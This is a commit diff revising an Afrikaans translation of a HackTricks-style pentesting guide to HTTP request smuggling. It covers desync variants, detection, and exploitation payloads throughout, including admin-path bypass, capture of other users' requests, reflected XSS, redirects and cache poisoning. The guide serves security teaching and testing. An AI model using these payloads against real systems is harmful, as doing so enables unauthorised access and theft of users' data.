Translated ['src/pentesting-web/http-request-smuggling/README.md'] to af

This commit is contained in:
Translator 2025-08-20 19:28:28 +00:00
parent 7e8ab402ba
commit 29b0293e58

View File

@ -2,11 +2,10 @@
{{#include ../../banners/hacktricks-training.md}}
## Wat is
Hierdie kwesbaarheid gebeur wanneer 'n **desyncronization** tussen **front-end proxies** en die **back-end** bediener 'n **aanvaller** toelaat om 'n HTTP **versoek** te **stuur** wat as 'n **enkele versoek** deur die **front-end** proxies (laaibalansering/omgekeerde proxy) en **as 2 versoeke** deur die **back-end** bediener **geïterpreteer** sal word.\
Dit laat 'n gebruiker toe om die **volgende versoek wat by die back-end bediener aankom na syne** te **wysig**.
Hierdie kwesbaarheid ontstaan wanneer 'n **desynkronisasie** tussen **front-end proxies** en die **back-end** bediener 'n **aanvaller** toelaat om 'n HTTP **versoek** te **stuur** wat as 'n **enkele versoek** deur die **front-end** proxies (laaibalanseer / omgekeerde proxy) en **as 2 versoeke** deur die **back-end** bediener **geïterpreteer** sal word.\
Dit stel 'n gebruiker in staat om die **volgende versoek wat by die back-end bediener aankom na syne** te **wysig**.
### Teorie
@ -25,7 +24,7 @@ Dit laat 'n gebruiker toe om die **volgende versoek wat by die back-end bediener
### Realiteit
Die **Front-End** (n laaibalansering / Omgekeerde Proxy) **verwerk** die _**content-length**_ of die _**transfer-encoding**_ kopveld en die **Back-end** bediener **verwerk die ander** een wat 'n **desyncronization** tussen die 2 stelsels veroorsaak.\
Die **Front-End** (n laaibalanseer / Omgekeerde Proxy) **verwerk** die _**content-length**_ of die _**transfer-encoding**_ kopveld en die **Back-end** bediener **verwerk die ander** een wat 'n **desynkronisasie** tussen die 2 stelsels veroorsaak.\
Dit kan baie krities wees aangesien **'n aanvaller in staat sal wees om een versoek** na die omgekeerde proxy te stuur wat deur die **back-end** bediener **as 2 verskillende versoeke** **geïterpreteer** sal word. Die **gevaar** van hierdie tegniek lê in die feit dat die **back-end** bediener die **2de versoek wat ingevoeg is** sal **interpreteer** asof dit **van die volgende kliënt** af kom en die **werklike versoek** van daardie kliënt sal **deel** wees van die **ingevoegde versoek**.
### Besonderhede
@ -41,7 +40,7 @@ Onthou dat in HTTP **'n nuwe lyn karakter bestaan uit 2 bytes:**
> [!TIP]
> Wanneer jy probeer om dit met Burp Suite te benut, **deaktiveer `Update Content-Length` en `Normalize HTTP/1 line endings`** in die herhaler omdat sommige gadgets nuwe lyne, karakters en verkeerd gevormde content-lengths misbruik.
HTTP versoek smuggling aanvalle word geskep deur om ambigue versoeke te stuur wat die verskille in hoe front-end en back-end bedieners die `Content-Length` (CL) en `Transfer-Encoding` (TE) kopvelde interpreteer, te benut. Hierdie aanvalle kan in verskillende vorme manifesteer, hoofsaaklik as **CL.TE**, **TE.CL**, en **TE.TE**. Elke tipe verteenwoordig 'n unieke kombinasie van hoe die front-end en back-end bedieners hierdie kopvelde prioriteit gee. Die kwesbaarhede ontstaan uit die bedieners wat dieselfde versoek op verskillende maniere verwerk, wat lei tot onverwagte en potensieel kwaadwillige uitkomste.
HTTP versoek smuggling aanvalle word geskep deur ambigue versoeke te stuur wat verskille in hoe front-end en back-end bedieners die `Content-Length` (CL) en `Transfer-Encoding` (TE) kopvelde interpreteer, benut. Hierdie aanvalle kan in verskillende vorme manifesteer, hoofsaaklik as **CL.TE**, **TE.CL**, en **TE.TE**. Elke tipe verteenwoordig 'n unieke kombinasie van hoe die front-end en back-end bedieners hierdie kopvelde prioriseer. Die kwesbaarhede ontstaan uit die bedieners wat dieselfde versoek op verskillende maniere verwerk, wat lei tot onverwagte en potensieel kwaadwillige uitkomste.
### Basiese Voorbeelde van Kwesbaarheidstipes
@ -81,7 +80,7 @@ Foo: x
- **Aanval Scenario:**
- Die aanvaller stuur 'n chunked versoek waar die stuk grootte (`7b`) en werklike inhoud lengte (`Content-Length: 4`) nie ooreenstem nie.
- Die front-end bediener, wat `Transfer-Encoding` eer, stuur die hele versoek na die back-end.
- Die front-end bediener, wat `Transfer-Encoding` respekteer, stuur die hele versoek na die back-end.
- Die back-end bediener, wat `Content-Length` respekteer, verwerk slegs die aanvanklike deel van die versoek (`7b` bytes), wat die res as deel van 'n onbedoelde daaropvolgende versoek laat.
- **Voorbeeld:**
@ -103,13 +102,13 @@ x=
```
#### TE.TE Kwesbaarheid (Transfer-Encoding gebruik deur beide, met obfuskering)
#### TE.TE Kwesbaarheid (Transfer-Encoding gebruik deur albei, met obfuskaasie)
- **Bedieners:** Beide ondersteun `Transfer-Encoding`, maar een kan mislei word om dit te ignoreer via obfuskering.
- **Bedieners:** Albei ondersteun `Transfer-Encoding`, maar een kan mislei word om dit te ignoreer via obfuskaasie.
- **Aanval Scenario:**
- Die aanvaller stuur 'n versoek met obfuscated `Transfer-Encoding` kopvelde.
- Afhangende van watter bediener (front-end of back-end) nie die obfuskering herken nie, kan 'n CL.TE of TE.CL kwesbaarheid benut word.
- Afhangende van watter bediener (front-end of back-end) nie die obfuskaasie herken nie, kan 'n CL.TE of TE.CL kwesbaarheid benut word.
- Die onverwerkte deel van die versoek, soos gesien deur een van die bedieners, word deel van 'n daaropvolgende versoek, wat lei tot smuggling.
- **Voorbeeld:**
@ -133,7 +132,7 @@ Transfer-Encoding
#### **CL.CL Scenario (Content-Length gebruik deur beide Front-End en Back-End)**
- Beide bedieners verwerk die versoek gebaseer slegs op die `Content-Length` kopveld.
- Hierdie scenario lei tipies nie tot smuggling nie, aangesien daar ooreenstemming is in hoe beide bedieners die versoeklengte interpreteer.
- Hierdie scenario lei tipies nie tot smuggling nie, aangesien daar 'n ooreenstemming is in hoe beide bedieners die versoeklengte interpreteer.
- **Voorbeeld:**
```
@ -142,12 +141,12 @@ Host: vulnerable-website.com
Content-Length: 16
Connection: keep-alive
Normal Request
Normale Versoek
```
#### **CL.0 Scenario**
- Verwys na scenario's waar die `Content-Length` kopveld teenwoordig is en 'n waarde anders as nul het, wat aandui dat die versoek liggaam inhoud het. Die back-end ignoreer die `Content-Length` kopveld (wat as 0 behandel word), maar die front-end parse dit.
- Verwys na scenario's waar die `Content-Length` kopveld teenwoordig is en 'n waarde het wat nie nul is nie, wat aandui dat die versoek liggaam inhoud het. Die back-end ignoreer die `Content-Length` kopveld (wat as 0 behandel word), maar die front-end parse dit.
- Dit is belangrik om smuggling aanvalle te verstaan en te skep, aangesien dit beïnvloed hoe bedieners die einde van 'n versoek bepaal.
- **Voorbeeld:**
@ -157,12 +156,12 @@ Host: vulnerable-website.com
Content-Length: 16
Connection: keep-alive
Non-Empty Body
Nie-Empty Liggaam
```
#### TE.0 Scenario
- Soos die vorige een maar met TE
- Soos die vorige een maar met TE.
- Tegniek [gerapporteer hier](https://www.bugcrowd.com/blog/unveiling-te-0-http-request-smuggling-discovering-a-critical-vulnerability-in-thousands-of-google-cloud-websites/)
- **Voorbeeld**:
```
@ -186,11 +185,11 @@ EMPTY_LINE_HERE
Hierdie tegniek is ook nuttig in scenario's waar dit moontlik is om 'n **webbediener te breek terwyl die aanvanklike HTTP-data gelees word** maar **sonder om die verbinding te sluit**. Op hierdie manier sal die **liggaam** van die HTTP-versoek as die **volgende HTTP-versoek** beskou word.
Byvoorbeeld, soos verduidelik in [**hierdie skrywe**](https://mizu.re/post/twisty-python), was dit in Werkzeug moontlik om 'n paar **Unicode** karakters te stuur en dit sal die bediener **breek**. As die HTTP-verbinding egter met die koptekst **`Connection: keep-alive`** geskep is, sal die liggaam van die versoek nie gelees word nie en die verbinding sal steeds oop wees, so die **liggaam** van die versoek sal as die **volgende HTTP-versoek** hanteer word.
Byvoorbeeld, soos verduidelik in [**hierdie skrywe**](https://mizu.re/post/twisty-python), was dit in Werkzeug moontlik om 'n paar **Unicode** karakters te stuur en dit sal die bediener **breek**. As die HTTP-verbinding egter met die kop **`Connection: keep-alive`** geskep is, sal die liggaam van die versoek nie gelees word nie en die verbinding sal steeds oop wees, so die **liggaam** van die versoek sal as die **volgende HTTP-versoek** hanteer word.
#### Dwing via hop-by-hop koptekste
#### Dwing via hop-by-hop koppe
Deur hop-by-hop koptekste te misbruik, kan jy die proxy aandui om die koptekst Content-Length of Transfer-Encoding te **verwyder sodat 'n HTTP-versoek-smuggling misbruik kan word**.
Deur hop-by-hop koppe te misbruik, kan jy die proxy aandui om die kop Content-Length of Transfer-Encoding te **verwyder sodat 'n HTTP-versoek smuggling misbruik kan word**.
```
Connection: Content-Length
```
@ -224,12 +223,12 @@ A
```
- **Waarneming:**
- Die voorgrondbediener verwerk die versoek gebaseer op `Content-Length` en sny die boodskap voortydig af.
- Die voorste bediener verwerk die versoek gebaseer op `Content-Length` en sny die boodskap voortydig af.
- Die agtergrondbediener, wat 'n chunked boodskap verwag, wag vir die volgende chunk wat nooit aankom nie, wat 'n vertraging veroorsaak.
- **Aanduiders:**
- Timeouts of lang vertraging in reaksie.
- Ontvang 'n 400 Bad Request fout van die agtergrondbediener, soms met gedetailleerde bediener-inligting.
- **Aanduidings:**
- Time-outs of lang vertraging in reaksie.
- Ontvang 'n 400 Bad Request fout van die agtergrondbediener, soms met gedetailleerde bedienerinligting.
### Vind TE.CL Kwesbaarhede Met Tydtegnieke
@ -250,7 +249,7 @@ X
```
- **Waarneming:**
- Die voorgrondbediener verwerk die versoek gebaseer op `Transfer-Encoding` en stuur die hele boodskap voort.
- Die voorste bediener verwerk die versoek gebaseer op `Transfer-Encoding` en stuur die hele boodskap voort.
- Die agtergrondbediener, wat 'n boodskap gebaseer op `Content-Length` verwag, wag vir addisionele data wat nooit aankom nie, wat 'n vertraging veroorsaak.
### Ander Metodes om Kwesbaarhede te Vind
@ -259,14 +258,14 @@ X
- Stuur effens verskillende weergawes van 'n versoek en observeer of die bediener se reaksies op 'n onverwagte manier verskil, wat 'n ontledingsverskil aandui.
- **Gebruik van Geoutomatiseerde Gereedskap:**
- Gereedskap soos Burp Suite se 'HTTP Request Smuggler' uitbreiding kan outomaties toets vir hierdie kwesbaarhede deur verskeie vorme van ambigue versoeke te stuur en die reaksies te analiseer.
- **Content-Length Variansie Toetse:**
- **Content-Length Variansetoetse:**
- Stuur versoeke met verskillende `Content-Length` waardes wat nie ooreenstem met die werklike inhoudslengte nie en observeer hoe die bediener sulke wanbalanse hanteer.
- **Transfer-Encoding Variansie Toetse:**
- Stuur versoeke met obfuskeerde of misvormde `Transfer-Encoding` headers en monitor hoe verskillend die voorgrond- en agtergrondbedieners op sulke manipulasies reageer.
- **Transfer-Encoding Variansetoetse:**
- Stuur versoeke met obfuskeerde of misvormde `Transfer-Encoding` headers en monitor hoe verskillend die voorste en agtergrondbedieners op sulke manipulasies reageer.
### HTTP Request Smuggling Kwesbaarheidstoetsing
Nadat die doeltreffendheid van tydtegnieke bevestig is, is dit noodsaaklik om te verifieer of kliëntversoeke gemanipuleer kan word. 'n Eenvoudige metode is om te probeer om jou versoeke te vergiftig, byvoorbeeld, om 'n versoek na `/` te maak wat 'n 404 reaksie oplewer. Die `CL.TE` en `TE.CL` voorbeelde wat voorheen bespreek is in [Basic Examples](#basic-examples) demonstreer hoe om 'n kliënt se versoek te vergiftig om 'n 404 reaksie uit te lok, ten spyte van die kliënt se poging om toegang tot 'n ander hulpbron te verkry.
Nadat die doeltreffendheid van tydtegnieke bevestig is, is dit noodsaaklik om te verifieer of kliëntversoeke gemanipuleer kan word. 'n Eenvoudige metode is om te probeer om jou versoeke te vergiftig, byvoorbeeld, om 'n versoek na `/` te maak wat 'n 404 reaksie oplewer. Die `CL.TE` en `TE.CL` voorbeelde wat voorheen bespreek is in [Basic Examples](#basic-examples) demonstreer hoe om 'n kliënt se versoek te vergiftig om 'n 404 reaksie uit te lok, ten spyte van die kliënt se poging om 'n ander hulpbron te benader.
**Belangrike Oorwegings**
@ -274,13 +273,13 @@ Wanneer jy toets vir request smuggling kwesbaarhede deur ander versoeke te beïn
- **Verskillende Netwerkverbindinge:** Die "aanval" en "normale" versoeke moet oor verskillende netwerkverbindinge gestuur word. Die gebruik van dieselfde verbinding vir albei valideer nie die kwesbaarheid se teenwoordigheid nie.
- **Konstante URL en Parameters:** Probeer om identiese URL's en parametername vir albei versoeke te gebruik. Moderne toepassings lei dikwels versoeke na spesifieke agtergrondbedieners gebaseer op URL en parameters. Ooreenstemming hiervan verhoog die waarskynlikheid dat albei versoeke deur dieselfde bediener verwerk word, 'n voorvereiste vir 'n suksesvolle aanval.
- **Tyd en Wedrenstoestande:** Die "normale" versoek, wat bedoel is om interferensie van die "aanval" versoek te ontdek, kompeteer teen ander gelyktydige toepassingsversoeke. Stuur dus die "normale" versoek onmiddellik na die "aanval" versoek. Besige toepassings mag verskeie pogings vereis vir beslissende kwesbaarheid bevestiging.
- **Laai Balansuitdagings:** Voorgrondbedieners wat as laai-balansers optree, mag versoeke oor verskillende agtergrondstelsels versprei. As die "aanval" en "normale" versoeke op verskillende stelsels eindig, sal die aanval nie slaag nie. Hierdie laai-balans aspek mag verskeie pogings vereis om 'n kwesbaarheid te bevestig.
- **Tyd en Wedrenstoestande:** Die "normale" versoek, wat bedoel is om interferensie van die "aanval" versoek te ontdek, kompeteer teen ander gelyktydige toepassingsversoeke. Stuur dus die "normale" versoek onmiddellik na die "aanval" versoek. Besige toepassings mag verskeie pogings vereis vir beslissende kwesbaarheidbevestiging.
- **Laai Balansuitdagings:** Voorste bedieners wat as laai-balansers optree, mag versoeke oor verskillende agtergrondstelsels versprei. As die "aanval" en "normale" versoeke op verskillende stelsels eindig, sal die aanval nie slaag nie. Hierdie laai-balansaspek mag verskeie pogings vereis om 'n kwesbaarheid te bevestig.
- **Onbedoelde Gebruikerimpak:** As jou aanval per ongeluk 'n ander gebruiker se versoek beïnvloed (nie die "normale" versoek wat jy gestuur het vir opsporing nie), dui dit aan dat jou aanval 'n ander toepassingsgebruiker beïnvloed het. Deurlopende toetsing kan ander gebruikers ontwrig, wat 'n versigtige benadering vereis.
## Onderskeiding van HTTP/1.1 pipelining artefakte teenoor werklike request smuggling
Verbinding hergebruik (keep-alive) en pipelining kan maklik illusies van "smuggling" in toetsgereedskap wat verskeie versoeke op dieselfde soket stuur, produseer. Leer om onskadelike kliënt-kant artefakte van werklike bediener-kant desynk te skei.
Verbinding hergebruik (keep-alive) en pipelining kan maklik illusies van "smuggling" in toetsgereedskap wat verskeie versoeke op dieselfde soket stuur, produseer. Leer om onskadelike kliënt-kant artefakte van werklike bediener-kant desynkronisasie te skei.
### Waarom pipelining klassieke vals positiewe skep
@ -324,39 +323,39 @@ X: Y
Impact: geen. Jy het net jou kliënt van die bediener se raamwerk ontkoppel.
> [!TIP]
> Burp-modules wat afhanklik is van hergebruik/pipelining: Turbo Intruder met `requestsPerConnection>1`, Intruder met "HTTP/1 verbinding hergebruik", Repeater "Stuur groep in volgorde (enkele verbinding)" of "Aktiveer verbinding hergebruik".
> Burp modules wat afhanklik is van hergebruik/pipelining: Turbo Intruder met `requestsPerConnection>1`, Intruder met "HTTP/1 verbinding hergebruik", Repeater "Stuur groep in volgorde (enkele verbinding)" of "Aktiveer verbinding hergebruik".
### Litmus-toetse: pipelining of werklike desync?
### Litmus toetse: pipelining of werklike desync?
1. Deaktiveer hergebruik en toets weer
- In Burp Intruder/Repeater, skakel HTTP/1 hergebruik af en vermy "Stuur groep in volgorde".
- In Turbo Intruder, stel `requestsPerConnection=1` en `pipeline=False`.
- As die gedrag verdwyn, was dit waarskynlik kliënt-kant pipelining, tensy jy met verbinding-geslote/staatlike teikens of kliënt-kant desync te doen het.
2. HTTP/2 geneste-respons toets
2. HTTP/2 geneste-respons kontrole
- Stuur 'n HTTP/2 versoek. As die responsliggaam 'n volledige geneste HTTP/1 respons bevat, het jy 'n backend parsing/desync fout bewys in plaas van 'n suiwer kliënt artefak.
3. Gedeeltelike versoeke toets vir verbinding-geslote front-ends
- Sommige FE's hergebruik slegs die opwaartse BE-verbinding as die kliënt hulne hergebruik. Gebruik gedeeltelike versoeke om FE-gedrag te detecteer wat kliënt hergebruik weerspieël.
3. Gedeeltelike-versoeke ondersoek vir verbinding-geslote front-ends
- Sommige FE's hergebruik slegs die opwaartse BE verbinding as die kliënt hulne hergebruik. Gebruik gedeeltelike versoeke om FE gedrag te detecteer wat kliënt hergebruik weerspieël.
- Sien PortSwigger "BrowserPowered Desync Attacks" vir die verbinding-geslote tegniek.
4. Staat probes
- Soek na verskille tussen die eerste en daaropvolgende versoeke op dieselfde TCP-verbinding (eerste-versoek routering/validasie).
- Soek na eerste- vs daaropvolgende versoek verskille op dieselfde TCP verbinding (eerste-versoek routering/validasie).
- Burp "HTTP Request Smuggler" sluit 'n verbindingstaat probe in wat dit outomatiseer.
5. Visualiseer die draad
- Gebruik die Burp "HTTP Hacker" uitbreiding om concatenasie en boodskapraamwerk direk te inspekteer terwyl jy met hergebruik en gedeeltelike versoeke eksperimenteer.
- Gebruik die Burp "HTTP Hacker" uitbreiding om concatenasie en boodskapraamwerk direk te inspekteer terwyl jy eksperimenteer met hergebruik en gedeeltelike versoeke.
### Verbindinggeslote versoek smuggling (hergebruik benodig)
Sommige front-ends hergebruik slegs die opwaartse verbinding wanneer die kliënt hulne hergebruik. Werklike smuggling bestaan, maar is voorwaardelik op kliënt-kant hergebruik. Om te onderskei en impak te bewys:
- Bewys die bediener-kant fout
- Gebruik die HTTP/2 geneste-respons toets, of
- Gebruik die HTTP/2 geneste-respons kontrole, of
- Gebruik gedeeltelike versoeke om te wys dat die FE slegs opwaarts hergebruik wanneer die kliënt dit doen.
- Wys werklike impak selfs as direkte kruis-gebruiker sokker misbruik geblokkeer is:
- Wys werklike impak selfs as direkte kruis-gebruiker sokkel misbruik geblokkeer is:
- Cache vergiftiging: vergiftig gedeelde caches via die desync sodat responsies ander gebruikers beïnvloed.
- Interne kop openbaarmaking: reflekteer FE-ingeslote koppe (bv. auth/trust koppe) en draai na auth omseiling.
- Interne kop openbaarmaking: reflekteer FE-ingeslote koppe (bv. auth/trust koppe) en pivot na auth omseiling.
- Omseil FE kontroles: smuggle beperkte paaie/metodes verby die front-end.
- Gasheer-kop misbruik: kombineer met gasheer routering quirks om na interne vhosts te draai.
- Gasheer-kop misbruik: kombineer met gasheer routering quirks om na interne vhosts te pivot.
- Operateur werksvloei
- Herproduseer met beheerde hergebruik (Turbo Intruder `requestsPerConnection=2`, of Burp Repeater tab groep → "Stuur groep in volgorde (enkele verbinding)").
- Verbind dan met cache/kop-lek/beheer-omseiling primitiewe en demonstreer kruis-gebruiker of outorisering impak.
- Verbind dan met cache/kop-lek/beheer-omseiling primitiewe en demonstreer kruis-gebruiker of magtiging impak.
> Sien ook verbindingstaat aanvalle, wat nou verwant is maar nie tegnies smuggling is nie:
>
@ -366,31 +365,31 @@ Sommige front-ends hergebruik slegs die opwaartse verbinding wanneer die kliënt
### Kliëntkant desync beperkings
As jy teikens op 'n blaaier-kragtige/kliënt-kant desync, moet die kwaadwillige versoek deur 'n blaaier oor oorsprong gestuur kan word. Kop obfuskaas truuks sal nie werk nie. Fokus op primitiewe wat bereikbaar is via navigasie/fetch, en draai dan na cache vergiftiging, kop openbaarmaking, of front-end beheer omseiling waar afwaartse komponente responsies weerspieël of cache.
As jy teikens op 'n blaaier-kragtige/kliënt-kant desync, moet die kwaadwillige versoek deur 'n blaaier oor oorsprong gestuur kan word. Kop obfuskaas truuks sal nie werk nie. Fokus op primitiewe wat bereikbaar is via navigasie/fetch, en pivot dan na cache vergiftiging, kop openbaarmaking, of front-end beheer omseiling waar afwaartse komponente responsies weerspieël of cache.
Vir agtergrond en eind-tot-eind werksvloei:
{{#ref}}
-browser-http-request-smuggling.md
browser-http-request-smuggling.md
{{#endref}}
### Gereedskap om te help besluit
- HTTP Hacker (Burp BApp Store): stel lae-vlak HTTP gedrag en sokker concatenasie bloot.
- HTTP Hacker (Burp BApp Store): stel lae-vlak HTTP gedrag en sokkel concatenasie bloot.
- "Smuggling of pipelining?" Burp Repeater Aangepaste Aksie: https://github.com/PortSwigger/bambdas/blob/main/CustomAction/SmugglingOrPipelining.bambda
- Turbo Intruder: presiese beheer oor verbinding hergebruik via `requestsPerConnection`.
- Burp HTTP Request Smuggler: sluit 'n verbindingstaat probe in om eersteversoek routering/validasie op te spoor.
> [!NOTE]
> Behandel hergebruik-slegs effekte as nie-probleme tensy jy bediener-kant desync kan bewys en konkrete impak kan heg (vergiftigde cache artefak, gelekte interne kop wat voorreg omseiling moontlik maak, omseilde FE beheer, ens.).
> Behandel hergebruik-slegs effekte as nie-probleme tensy jy bediener-kant desync kan bewys en konkrete impak kan heg (vergiftigde cache artefak, gelekte interne kop wat magtiging omseiling moontlik maak, omgeëiende FE beheer, ens.).
## Misbruik van HTTP Request Smuggling
### Omseiling van Front-End Sekuriteit via HTTP Request Smuggling
Soms, front-end proxies handhaaf sekuriteitsmaatreëls, wat inkomende versoeke ondersoek. Hierdie maatreëls kan egter omseil word deur HTTP Request Smuggling te benut, wat ongeoorloofde toegang tot beperkte eindpunte toelaat. Byvoorbeeld, toegang tot `/admin` mag ekstern verbode wees, met die front-end proxy wat aktief sulke pogings blokkeer. Nietemin mag hierdie proxy versuim om ingebedde versoeke binne 'n gesmugde HTTP versoek te ondersoek, wat 'n gat laat vir die omseiling van hierdie beperkings.
Soms, front-end proxies handhaaf sekuriteitsmaatreëls, wat inkomende versoeke ondersoek. Hierdie maatreëls kan egter omgegaan word deur HTTP Request Smuggling te benut, wat ongeoorloofde toegang tot beperkte eindpunte toelaat. Byvoorbeeld, toegang tot `/admin` mag ekstern verbied wees, met die front-end proxy wat aktief sulke pogings blokkeer. Nietemin, hierdie proxy mag versuim om ingebedde versoeke binne 'n gesmugde HTTP versoek te ondersoek, wat 'n gat laat vir die omseiling van hierdie beperkings.
Oorweeg die volgende voorbeelde wat illustreer hoe HTTP Request Smuggling gebruik kan word om front-end sekuriteitskontroles te omseil, spesifiek teikening van die `/admin` pad wat tipies deur die front-end proxy beskerm word:
Oorweeg die volgende voorbeelde wat illustreer hoe HTTP Request Smuggling gebruik kan word om front-end sekuriteit kontroles te omseil, spesifiek teikening van die `/admin` pad wat tipies deur die front-end proxy beskerm word:
**CL.TE Voorbeeld**
```
@ -409,7 +408,7 @@ Content-Length: 10
x=
```
In die CL.TE-aanval word die `Content-Length`-kop vir die aanvanklike versoek benut, terwyl die daaropvolgende ingebedde versoek die `Transfer-Encoding: chunked`-kop gebruik. Die front-end proxy verwerk die aanvanklike `POST`-versoek, maar slaag nie daarin om die ingebedde `GET /admin`-versoek te inspekteer nie, wat ongeoorloofde toegang tot die `/admin`-pad toelaat.
In die CL.TE-aanval word die `Content-Length`-kop vir die aanvanklike versoek gebruik, terwyl die daaropvolgende ingebedde versoek die `Transfer-Encoding: chunked`-kop benut. Die front-end proxy verwerk die aanvanklike `POST`-versoek, maar slaag nie daarin om die ingebedde `GET /admin`-versoek te ondersoek nie, wat ongeoorloofde toegang tot die `/admin`-pad toelaat.
**TE.CL Voorbeeld**
```
@ -452,11 +451,11 @@ search=
```
In hierdie struktuur word daaropvolgende versoekkomponente bygevoeg na `search=`, wat die parameter is wat in die antwoord weerspieël word. Hierdie weerspieëling sal die koptekste van die daaropvolgende versoek blootstel.
Dit is belangrik om die `Content-Length` koptekst van die geneste versoek te align met die werklike inhoudslengte. Dit is raadsaam om met 'n klein waarde te begin en geleidelik te verhoog, aangesien 'n te lae waarde die weerspieëlde data sal afkorts, terwyl 'n te hoë waarde die versoek kan laat misluk.
Dit is belangrik om die `Content-Length` kop van die geneste versoek te belyn met die werklike inhoudslengte. Dit is raadsaam om met 'n klein waarde te begin en geleidelik te verhoog, aangesien 'n te lae waarde die weerspieëlde data sal afsny, terwyl 'n te hoë waarde die versoek kan laat misluk.
Hierdie tegniek is ook van toepassing in die konteks van 'n TE.CL kwesbaarheid, maar die versoek moet eindig met `search=\r\n0`. Ongeag die nuwe reël karakters, sal die waardes by die soekparameter gevoeg word.
Hierdie metode dien hoofsaaklik om die versoekwysigings wat deur die voorpunt-proxy gemaak is, te verstaan, en voer in wese 'n selfgerigte ondersoek uit.
Hierdie metode dien hoofsaaklik om die versoekwysigings wat deur die voorpunt-proxy gemaak word, te verstaan, en voer in wese 'n selfgerigte ondersoek uit.
### Capturing other users' requests <a href="#capturing-other-users-requests" id="capturing-other-users-requests"></a>
@ -484,18 +483,18 @@ csrf=gpGAVAbj7pKq7VfFh45CAICeFCnancCM&postId=4&name=asdfghjklo&email=email%40ema
```
In hierdie scenario is die **kommentaarparameter** bedoel om die inhoud binne 'n pos se kommentaarafdeling op 'n publiek toeganklike bladsy te stoor. Gevolglik sal die inhoud van die daaropvolgende versoek as 'n kommentaar verskyn.
Hierdie tegniek het egter beperkings. Oor die algemeen vang dit data slegs tot by die parameterafskeider wat in die gesmugde versoek gebruik word. Vir URL-gecodeerde vormindienings is hierdie afskeider die `&` karakter. Dit beteken dat die gevangenis inhoud van die slagoffer gebruiker se versoek by die eerste `&` sal stop, wat selfs deel van die navraagstring kan wees.
Hierdie tegniek het egter beperkings. Oor die algemeen vang dit data slegs tot by die parameterafskeider wat in die gesmokkelde versoek gebruik word. Vir URL-gecodeerde vormindienings is hierdie afskeider die `&` karakter. Dit beteken dat die gevangenis inhoud van die slagoffer gebruiker se versoek by die eerste `&` sal stop, wat selfs deel van die navraagstring kan wees.
Boonop is dit die moeite werd om te noem dat hierdie benadering ook lewensvatbaar is met 'n TE.CL kwesbaarheid. In sulke gevalle moet die versoek eindig met `search=\r\n0`. Ongeag van nuwe reël karakters, sal die waardes by die soekparameter gevoeg word.
Boonop is dit die moeite werd om op te let dat hierdie benadering ook lewensvatbaar is met 'n TE.CL kwesbaarheid. In sulke gevalle moet die versoek eindig met `search=\r\n0`. Ongeag van nuwe reël karakters, sal die waardes by die soekparameter gevoeg word.
### Gebruik van HTTP versoek gesmugding om weerspieëlde XSS te benut
### Gebruik van HTTP versoek gesmokkel om weerspieëlde XSS te ontgin
HTTP Request Smuggling kan benut word om webblaaie wat kwesbaar is vir **Weerspieëlde XSS** te exploiteer, wat beduidende voordele bied:
HTTP Request Smuggling kan benut word om webblaaie wat kwesbaar is vir **Weerspieëlde XSS** te ontgin, wat beduidende voordele bied:
- Interaksie met die teiken gebruikers is **nie nodig** nie.
- Dit stel die benutting van XSS in dele van die versoek wat **normaalweg ontoeganklik** is, soos HTTP versoek koptekste, moontlik.
- Interaksie met die teikengebruikers is **nie nodig** nie.
- Dit stel die ontginning van XSS in dele van die versoek wat **normaalweg ontoeganklik** is, soos HTTP versoek koptekste, moontlik.
In scenario's waar 'n webwerf kwesbaar is vir Weerspieëlde XSS deur die User-Agent koptekst, demonstreer die volgende payload hoe om hierdie kwesbaarheid te benut:
In scenario's waar 'n webwerf kwesbaar is vir Weerspieëlde XSS deur die User-Agent koptekst, demonstreer die volgende payload hoe om hierdie kwesbaarheid te ontgin:
```
POST / HTTP/1.1
Host: ac311fa41f0aa1e880b0594d008d009e.web-security-academy.net
@ -527,7 +526,7 @@ Deur die `User-Agent` deur smuggling te manipuleer, omseil die payload normale v
#### HTTP/0.9
> [!CAUTION]
> In die geval dat die gebruikersinhoud in 'n antwoord met 'n **`Content-type`** soos **`text/plain`** weerspieël word, wat die uitvoering van die XSS voorkom. As die bediener **HTTP/0.9** ondersteun, mag dit moontlik wees om dit te omseil!
> In die geval dat die gebruikersinhoud in 'n antwoord met 'n **`Content-type`** soos **`text/plain`** weerspieël word, wat die uitvoering van die XSS voorkom. As die bediener **HTTP/0.9 ondersteun, kan dit moontlik wees om dit te omseil**!
Die weergawe HTTP/0.9 was voorheen die 1.0 en gebruik slegs **GET** werkwoorde en **antwoord nie** met **koppe** nie, net die liggaam.
@ -545,7 +544,7 @@ Resultate in:
HTTP/1.1 301 Moved Permanently
Location: https://normal-website.com/home/
```
Alhoewel dit op die oog af onskadelik lyk, kan hierdie gedrag gemanipuleer word met behulp van HTTP request smuggling om gebruikers na 'n eksterne webwerf te herlei. Byvoorbeeld:
Alhoewel dit onskuldig lyk, kan hierdie gedrag gemanipuleer word met behulp van HTTP request smuggling om gebruikers na 'n eksterne webwerf te herlei. Byvoorbeeld:
```
POST / HTTP/1.1
Host: vulnerable-website.com
@ -559,7 +558,7 @@ GET /home HTTP/1.1
Host: attacker-website.com
Foo: X
```
Hierdie gesmugde versoek kan veroorsaak dat die volgende verwerkte gebruikersversoek na 'n aanvaller-beheerde webwerf omgelei word:
Hierdie gesmugde versoek kan veroorsaak dat die volgende verwerkte gebruikersversoek na 'n aanvaller-beheerde webwerf omgeleiden word:
```
GET /home HTTP/1.1
Host: attacker-website.com
@ -579,7 +578,7 @@ Web cache poisoning kan uitgevoer word as enige komponent van die **front-end in
Voorheen het ons gesien hoe bediener reaksies verander kan word om 'n 404-fout te retourneer (verwys na [Basic Examples](#basic-examples)). Op soortgelyke wyse is dit haalbaar om die bediener te mislei om `/index.html` inhoud te lewer in reaksie op 'n versoek vir `/static/include.js`. Gevolglik word die inhoud van `/static/include.js` in die kas vervang met dié van `/index.html`, wat `/static/include.js` ontoeganklik maak vir gebruikers, wat moontlik tot 'n Denial of Service (DoS) kan lei.
Hierdie tegniek word veral kragtig as 'n **Open Redirect kwesbaarheid** ontdek word of as daar 'n **op-site omleiding na 'n oop omleiding** is. Sulke kwesbaarhede kan benut word om die gekaste inhoud van `/static/include.js` te vervang met 'n skrip onder die aanvaller se beheer, wat essensieel 'n wye Cross-Site Scripting (XSS) aanval teen alle kliënte wat die opgedateerde `/static/include.js` versoek, moontlik maak.
